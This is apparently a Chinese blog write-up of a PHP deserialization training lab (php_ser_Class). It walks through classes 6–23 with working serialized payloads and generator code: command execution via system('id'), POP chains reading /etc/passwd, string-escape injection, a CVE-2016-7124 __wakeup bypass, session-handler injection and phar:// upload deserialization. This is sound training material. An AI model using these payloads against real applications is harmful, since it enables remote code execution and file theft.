php反序列化靶场随笔分析
-
项目地址:github.com/mcc0624/php_ser_Class
-
推荐使用docker部署:https://hub.docker.com/r/mcc0624/ser/tags
前面讲了以下php基础,我们直接从class6开始实验
class6
访问页面,传一个序列化的字符串,php代码将其反序列化且调用对象的displayVar()方法
payload:
benben=O:4:"test":1:{s:1:"a";s:13:"system("id");";}
结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
class7
__construct(): 类的构造函数,当创建类的实例时自动调用。
__destruct(): 类的析构函数,当对象被销毁时自动调用。
例题:传一个序列化字符串,php代码反序列化为对象,当对象销毁时调用__destruct()
payload:
benben=O:4:"User":1:{s:3:"cmd";s:13:"system("id");";}
结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
class8
__sleep(): 执行serialize()时,先会调用这个函数。 传一个参数给对象,对象__sleep()方法调用system执行这个参数,然而php代码在序列化这个对象时,调用了__sleep()方法 payload: benben=id 结果: uid=33(www-data) gid=33(www-data) groups=33(www-data) N;
__wakeup(): 执行unserialize()时,先会调用这个函数。
传一个User 对象序列化后的字符串给参数,php代码会进行反序列化,触发__wakeup(),__wakeup()执行系统命令
payload:
benben=O:4:"User":2:{s:8:"username";s:2:"id";s:8:"nickname";N;}
结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
class9&class10
__toString(): 类被当作字符串时的回应方法。 __invoke(): 以函数方式调用对象时的回应方法。 __call(): 当调用对象中不可访问的方法时调用 __callStatic(): 以静态方式调用不可访问方法时调用。 __get(): 读取不可访问属性的值时调用(成员属性不存在) __set(): 设置不可访问属性的值时调用。(给不存在的成员赋值) __isset(): 当对不可访问属性调用isset()或empty()时调用。 __unset(): 当对不可访问属性调用unset()时调用。 __clone(): 当对象被克隆时调用。
class11
问题:如果遇到private的属性,在生成序列化的字符串时,如何为其赋值?
操作1:可以先将private修改为public,然后生成序列化的字符串后,在字符串中向这个属性添加类名和%00
操作2:直接给这个类添加一个构造函数,构造函数帮助我们给private属性赋值,赋完值后打印其序列化后的字符串
evil类创建对象作为index类创建的对象的test属性,然而index对象的test属性是private,(obj_index->$test = obj_evil)
payload:
O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^
修改后:
O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^^^^^^^^^^^^^
<?php
// 这个对应操作1
// 将index对象的test属性修改为public或去掉修饰符
class index {var $test;
}
class evil {var $test2;
}
$obj1 = new evil();
$obj1->test2 = 'system("id");';
$obj2 = new index();
$obj2->test = $obj1;
echo serialize($obj2);
/*
输出结果:O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^
修改后:O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^^^^^^^^^^^^^
*/
?>
<?php
// 这个对应操作2
class index {private $test;public function __construct(){$this->test = new evil();}
}
class evil {var $test2 = 'system("id");';
}
$obj = new index();
echo serialize($obj);
/*
输出结果:O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}
*/
?>
class12
目标:输出sec中的tostring is here!
payload:
benben=O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}
<?php
class fast {public $source;public function __wakeup(){echo "wakeup is here!!";echo $this->source;}
}
class sec {var $benben;public function __tostring(){echo "tostring is here!!";}
}
$obj1 = new sec();
$obj2 = new fast();
$obj2->source = $obj1;
echo serialize($obj2);
?>
class13
1.较为敏感的方法:Modifier类中__invoke能触发include($this->var) 2.Modifier对象中__invoke()方法能被Test对象__get魔术方法触发 3.Test对象__get()魔术方法能被Show对象中的__toString()方法触发 4.Show对象中的__toString()方法,能被另一个show对象的__wakeup()方法触发 5.unserialize触发show对象的__wakeup()方法
Show1对象反序列化触发wakeup魔术方法 ---------> Show2对象的__toString()方法--------->Test对象的__get魔术方法 --------->Modifier对象的__invoke方法--------->include($this->var)
<?php
class Modifier {public $par;
}
class Show{public $source;public $str;
}
class Test{public $p;
}
$obj1_Modifier = new Modifier();
$obj1_Modifier->par = '../../../../../../etc/passwd';
$obj1_Test = new Test();
$obj1_Test->p = $obj1_Modifier;
$obj1_Show = new Show();
$obj1_Show->str = $obj1_Test;
$obj2_Show = new Show();
$obj2_Show->source = $obj1_Show;
echo serialize($obj2_Show);
?>
payload:
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"par";s:28:"../../../../../../etc/passwd";}}}s:3:"str";N;}^^^^^
修改后:
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:28:"../../../../../../etc/passwd";}}}s:3:"str";N;}^^^^^^^^^^^^^^^^^^^^^
class14
对象序列化为字符串,字符串进行了过滤,过滤掉了"system()",导致字符串长度减少,因此字符串进行反序列化会失败。 那这种情况下,只要给出两个参数供攻击者输入,那么攻击者就能够控制所有属性(包括这两个属性之外的其他属性) 原理:参数1被过滤,导致序列化后v1的数值长度,与v1的实际长度不匹配,且大于实际长度,这时,构造参数2,让v1的值能一直覆盖到参数2来确保v1的数值长度和实际长度相匹配,然后再一次构造参数2用于构造其他属性,导致整个参数1和参数2的前面部分成为数值部分,而参数2的后面部分成为功能性代码
过滤条件:
"system()" -> "" 8 -> 0
结果:
O:1:"A":2:{s:2:"v1";s:n:"m个字符";s:2:"v2";s:x:"x个字符";}n = 参数1的长度,同时是v1的长度
x = 参数2的长度,不是v2的长度,因为其是属于v1的值,不是功能性代码
m = n被过滤后的长度
n = m + 13 + x的位数(通常是2位)+ 2 + 一个可控长度的字符串
n = m + 17 + 一个可控长度的字符串
n至少比m多17个字符
输入n对应字符串(参数1): system()system()system() (n=24)(m=0)----->(根据:n = m + 17 + 一个可控长度的字符串,需要长度为7的可控字符串)
输入x对应字符串(参数2): 1234567";s:2:"v2";s:3:"123";}^^^^^^^^ ^^^^^^^^^^^^^^^^^长度为7的可控字符串 我们构造的名为v2的属性
结果:
O:1:"A":2:{s:2:"v1";s:24:"system()system()system()";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"123";}";}^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^ 长度为n=24 可控长度的字符串
过滤后:
O:1:"A":2:{s:2:"v1";s:24:"";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"abc";}";}^^^^^^^^^^^^^^^^^^^^^^^^长度为n=24
v1 = 'system()system()system()';
v2 = '1234567";s:2:"v2";s:3:"123";}';
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"123";}";}
object(A)#1 (2) {["v1"]=>string(27) "";s:2:"v2";s:29:"1234567"["v2"]=>string(3) "123"
}
class17(17是14的例题,所以放到前面)
过滤条件:
flag -> hk 4 -> 2
php -> hk 3 -> 2
O:4:"test":3:{s:4:"user";s:n:"m个字符";s:4:"pass";s:x:"x个字符";s:3:"vip";b:0;}
n = 参数1的字符个数
m = n过滤后的字符的个数
x = 参数2字符个数
n = m + 15 + (x的位数,通常是2位) + 2 + 一个可控长度的字符串
n = m + 19 + 一个可控长度的字符串
所以n至少比m多19个字符
输入n对应字符串(参数1): flagflagflagflagflagflagflagflagflagflag (n=40)(m=20)---->(需要长度为1的可控字符串)
输入x对应字符串(参数2): 1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}^^ ^^^^^^^^^^^^^^^长度为1的可控字符串 构造vip属性来控制vip属性的值
O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:39:"1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}";s:3:"vip";b:0;}
object(test)#1 (3) {["user"]=>string(40) "hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:39:"1"["pass"]=>string(3) "123"["vip"]=>bool(true)
}
class15
对序列化的字符串添加些字符,导致数值长度与实际长度不符 原理:通过构造第一个参数,使得参数的前面部分为数值,而后面部分作为功能性代码
添加条件:
ls -> pwd (2 -> 3)
O:1:"A":2:{s:2:"v1";s:n:"m个字符";s:2:"v2";s:3:"123";}
n:参数1的长度,同时是v1的长度
m:n被添加后的长度
a:要构造其他参数的长度
n = m - a
要构造的字符串";s:2:"v2";s:3:"123";}
a=22
n = m - 22
参数 = lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v2";s:3:"123;}
payload:
O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v2";s:3:"123";}";s:2:"v2";s:3:"123";}
添加后:
O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v2";s:3:"123";}";s:2:"v2";s:3:"123";}
class16
添加条件:
php -> hack (3 -> 4)
O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:8:"daydream";}
n:参数1的长度,也是user的长度
m:n被增加后的长度
a:要构造的字符串的长度
n = m - a
要构造的字符串";s:4:"pass";s:8:"escaping";}
a = 29
n = m - 29
payload:
参数 = phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
添加后:
O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
class18
__wakeup()魔术方法绕过(CVE-2016-7124) 序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行 漏洞影响版本: PHP5 < 5.6.25 PHP7 < 7.0.10
payload:
O:+6:"secret":2:{s:4:"file";s:25:"../../../../../etc/passwd";}^ ^
这里绕过正则 这里绕过__wakeup的执行
class19
$obj->enter = &$obj->secret;
使用引用,使得$obj对象的enter和secret属性的值使用的是同一块内存
payload:
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
class20
$_SESSION['benben'] = $_GET['ben']; 以上条件php会将获取到的ben值存储在session会话的benben属性,php先创建一个以session为名的文件,然后将ben进行序列化存储到这个文件中,例如: 当我们传递ben=1234时,存储的文件里的内容如下: benben|s:4:"1234";
另外session属性存储进文件时有三种存储格式,以上演示的是php格式:
1.php格式: 键名+竖线+反序列化的属性
2.php_serialize格式: 反序列化的属性
3.php_binary格式: 二进制格式存储
第一种情况已经演示了,看第二种情况:
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
ben=123&b=456时,存储结果:
a:2:{s:6:"benben";s:3:"123";s:1:"b";s:3:"456";}
第三种情况:
ACKbenbens:3:"123";SOHbs:3:"456";
漏洞产生条件:session以php_serialize格式存储属性,而以php格式读取属性
漏洞原理:访问网页时,php后台代码是通过反序列化session对象来获取session属性的值
漏洞影响:我们向session属性中写入我们序列化好的对象,访问时会获取session并反序列化我们写的对象
访问save.php
$_SESSION['ben'] = $_GET['a'];
当提交a为如下字符串时
|O:1:"D":1:{s:1:"a";s:13:"system("ls");";}
文件存储内容如下,当以php格式解析并反序列化时
a:1:{s:3:"ben";s:42:"|O:1:"D":1:{s:1:"a";s:13:"system("ls");";}
^^^^^^^^^^^^^^^^^^^^^
竖线前的内容被认作键名,竖线后的内容被当作属性,而竖线后的内容我们可以构造
再访问vul.php将会执行恶意代码
class21
漏洞:还是上面的漏洞,提交时候用的是php_serialize格式,读的时候用的php格式
思路:构造payload提交(通过class20的save.php提交),使session属性存储在文件,然后再次访问
访问class20的save.php,payload如下:
|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
再次访问class21的index.php,他会自动获取session会话,并反序列化session的属性,我们通过payload将Flag对象写入session属性,导致其反序列化
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
class22
漏洞原理:生成的phar文件中,会将对象压缩成序列化的字符串,使用phar://协议加载文件时,会反序列化成为对象 漏洞条件:目标服务器能访问以phar://协议访问到你构造的phar文件 访问:http://localhost/class22/phar.php,会自动生成一个携带Testobj对象的phar文件 访问:http://localhost/class22/index.php,并传参:filename=phar://test.phar&a=phpinfo(); 会反序列化phar文件中的Testobj对象
class23
class TestObject {public function __destruct() {include('flag.php');echo $flag;}
}
对TestObject进行反序列化自动获取flag,甚至不需要任何属性
<?php
//构造phar文件
highlight_file(__FILE__);
class TestObject
{
}
if (ini_get('phar.readonly') === 'On') {echo "phar.readonly is set to On";
} else {echo "phar.readonly is not set to On";
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
以上代码获取phar文件后 访问http://localhost/class23/upload.php,上传图片,只能上传图片,就把后缀phar改为jpg/png 访问http://localhost/class23/index.php携带post参数file=phar://upload/test.jpg 会自动将test.jpg文件当作phar文件并反序列化,反序列化触发 __destruct()方法获取flag
相关文章:
php反序列化靶场随笔分析
项目地址:github.com/mcc0624/php_ser_Class 推荐使用docker部署:https://hub.docker.com/r/mcc0624/ser/tags 前面讲了以下php基础,我们直接从class6开始实验 class6 访问页面,传一个序列化的字符串,php代码将其反…...
动态规划 - 编辑距离
115. 不同的子序列 困难 给你两个字符串 s 和 t ,统计并返回在 s 的 子序列 中 t 出现的个数,结果需要对 10^9 7 取模。 算法思想:利用动态规划,分s[i - 1] 与 t[j - 1]相等,s[i - 1] 与 t[j - 1] 不相等两种情况具…...
力扣——113. 路径总和
113. 路径总和 II 给你二叉树的根节点 root 和一个整数目标和 targetSum ,找出所有 从根节点到叶子节点 路径总和等于给定目标和的路径。 叶子节点 是指没有子节点的节点。 示例 1: 输入:root [5,4,8,11,null,13,4,7,2,null,null,5,1], t…...
C02S04-Ubuntu基本使用
一、Ubuntu初始配置 1. 使用root用户 Ubuntu系统默认只能使用普通用户,要想使用root用户,需要先设置root用户密码。 进入终端,配置root用户密码。按照提示输入密码。 sudo passwd root配置完成后,执行下面的密码,切换…...
C语言 | Leetcode C语言题解之第525题连续数组
题目: 题解: struct HashTable {int key, val;UT_hash_handle hh; };int findMaxLength(int* nums, int numsSize) {int maxLength 0;struct HashTable* hashTable NULL;struct HashTable* tmp malloc(sizeof(struct HashTable));tmp->key 0, tm…...
Qml-Transition的使用
Qml-Transition的使用 Transition的概述 Transition:定义了当状态发生改变时应用的动画属性animations : list:(Transition)过渡的动画属性enabled : bool:状态发生变化时,是否使能此过渡(Transition)动画…...
Notepad++检索包含多个关键字的行
Notepad检索包含多个关键字的行 在Notepad中,你可以使用正则表达式来检索包含多个关键字的行。以下是具体步骤: 打开Notepad,打开要搜索的文件。 点击菜单栏上的“搜索”选项,然后选择“查找”。 在弹出的查找对话框中…...
C语言:水仙花树,要求三位以上的N位整数每位的N次方等于数本身,全部输出出来
#include <stdio.h> int main() { int n; scanf("%d",&n);//这里是说明多少n位整数 int first1; int i1; while(i<n){//此while循环可以得到n位数的最小位,例如3位的100. first*10; i; } ifirst; whil…...
金融贷款口子超市V2源码 Thinkphp开发的贷款和超市平台源码(亲测源码含安装视频教程)
金融贷款口子超市V2源码 Thinkphp开发的贷款和超市平台源码 源码下载:https://download.csdn.net/download/m0_66047725/89938268 更多资源下载:关注我。...
redis的三种客户端
在 Redis 中,常用的 Java 客户端有三种:Jedis、Lettuce 和 Redisson。它们各有特点,适用于不同的场景。以下是它们的详细介绍,以及如何在 Spring Boot 中集成 Redis。 一、Redis 三种常用客户端详解 1.1 Jedis Jedis 是 Redis 官…...
边缘计算【智能+安全检测】系列教程--agx orin解决RTC时间问题
因为是离线运行,首要问题是时间不准确,就在主板上加装了纽扣电池,但是会有一系列问题,比如无法将RTC时间回写到系统时间,或者无法将系统时间写到RTC中等等一些列问题。为解决这些问题,一劳永逸的方式&#…...
数据库动态扩容:Java实现与技术策略
引言 数据库动态扩容是应对数据量增长和业务需求变化的关键技术。它允许数据库系统在不停机的情况下,通过增加或减少资源来适应业务负载的变化。本文将详细介绍数据库动态扩容的工作原理、技术策略,并提供Java代码示例。 1. 数据库动态扩容的工作原理 …...
Golang | Leetcode Golang题解之第525题连续数组
题目: 题解: func findMaxLength(nums []int) (maxLength int) {mp : map[int]int{0: -1}counter : 0for i, num : range nums {if num 1 {counter} else {counter--}if prevIndex, has : mp[counter]; has {maxLength max(maxLength, i-prevIndex)} …...
低代码架构浅析
低代码的定义与应用场景 定义 低代码平台是一种通过可视化工具和预定义组件实现快速应用开发的环境,显著减少了编码量。它旨在简化开发流程,加快应用交付,提高开发效率,使非技术人员也能参与应用开发。 应用场景 企业内部应用 …...
mysql字段是datetime如何按照小时来统计
在 MySQL 中,如果你有一个包含 DATETIME 类型的列,并且你想按照小时来统计数据,可以使用 DATE_FORMAT 函数将 DATETIME 列格式化为仅包含日期和小时的形式,然后使用 GROUP BY 子句来分组。 假设你有一个名为 events 的表…...
nacos快速启动
预备环境准备: 确保是64 bit OS(推荐Linux/Unix/Mac),安装64 bit JDK 1.8并下载&配置,安装Maven 3.2.x并下载&配置。 下载源码或者安装包: 从Github上下载源码方式: git clone https://…...
@Excel若依导出异常/解决BusinessBaseEntity里面的字段不支持导出
今天发现所有实体类继承BusinessBaseEntity里面的这些通用字段不支持导出,debug时发现是这样: 导出效果 这里我把能查到的方法都汇总了,如果你也遇到这个异常,可以去逐步排查 1.先看库里有没有数据 2.看字段名是否对齐 3.所需要…...
虚拟机 Email 恢复专用工具:Virtual Machine Email Recovery
天津鸿萌科贸发展有限公司从事数据安全服务二十余年,致力于为各领域客户提供专业的数据恢复、数据备份解决方案与服务,并针对企业面临的数据安全风险,提供专业的相关数据安全培训。 天津鸿萌科贸发展有限公司是 SysTools 系列数据恢复、取证及…...
代理人工智能如何应对现代威胁的速度和数量
Seven AI首席执行官 Lior Div 讨论了代理 AI 的概念及其在网络安全中的应用。他解释了代理 AI 与传统自动化安全系统的区别,即代理 AI 具有更大的自主性和决策能力。 Div 强调,通过实时处理大量警报,代理 AI 特别适合对抗现代 AI 驱动的威胁…...
element-plus版本过老,自写选项弹框增删功能
title: element-plus版本过老,自写选项弹框增删功能 date: 2024-10-31 10:53:18 tags: element-plus 1.情景 发现代码怎么都用不了el-select的#footer插槽从而实现不了相关的操作,发现el-select自带的管理相关数据的属性popper-class用不了。 2.原因与…...
java 实现excel文件转pdf | 无水印 | 无限制
文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...
【解密LSTM、GRU如何解决传统RNN梯度消失问题】
解密LSTM与GRU:如何让RNN变得更聪明? 在深度学习的世界里,循环神经网络(RNN)以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而,传统RNN存在的一个严重问题——梯度消失&#…...
linux 错误码总结
1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...
Android15默认授权浮窗权限
我们经常有那种需求,客户需要定制的apk集成在ROM中,并且默认授予其【显示在其他应用的上层】权限,也就是我们常说的浮窗权限,那么我们就可以通过以下方法在wms、ams等系统服务的systemReady()方法中调用即可实现预置应用默认授权浮…...
selenium学习实战【Python爬虫】
selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...
Spring数据访问模块设计
前面我们已经完成了IoC和web模块的设计,聪明的码友立马就知道了,该到数据访问模块了,要不就这俩玩个6啊,查库势在必行,至此,它来了。 一、核心设计理念 1、痛点在哪 应用离不开数据(数据库、No…...
SAP学习笔记 - 开发26 - 前端Fiori开发 OData V2 和 V4 的差异 (Deepseek整理)
上一章用到了V2 的概念,其实 Fiori当中还有 V4,咱们这一章来总结一下 V2 和 V4。 SAP学习笔记 - 开发25 - 前端Fiori开发 Remote OData Service(使用远端Odata服务),代理中间件(ui5-middleware-simpleproxy)-CSDN博客…...
七、数据库的完整性
七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...
【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的“no matching...“系列算法协商失败问题
【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的"no matching..."系列算法协商失败问题 摘要: 近期,在使用较新版本的OpenSSH客户端连接老旧SSH服务器时,会遇到 "no matching key exchange method found", "n…...
基于IDIG-GAN的小样本电机轴承故障诊断
目录 🔍 核心问题 一、IDIG-GAN模型原理 1. 整体架构 2. 核心创新点 (1) 梯度归一化(Gradient Normalization) (2) 判别器梯度间隙正则化(Discriminator Gradient Gap Regularization) (3) 自注意力机制(Self-Attention) 3. 完整损失函数 二…...
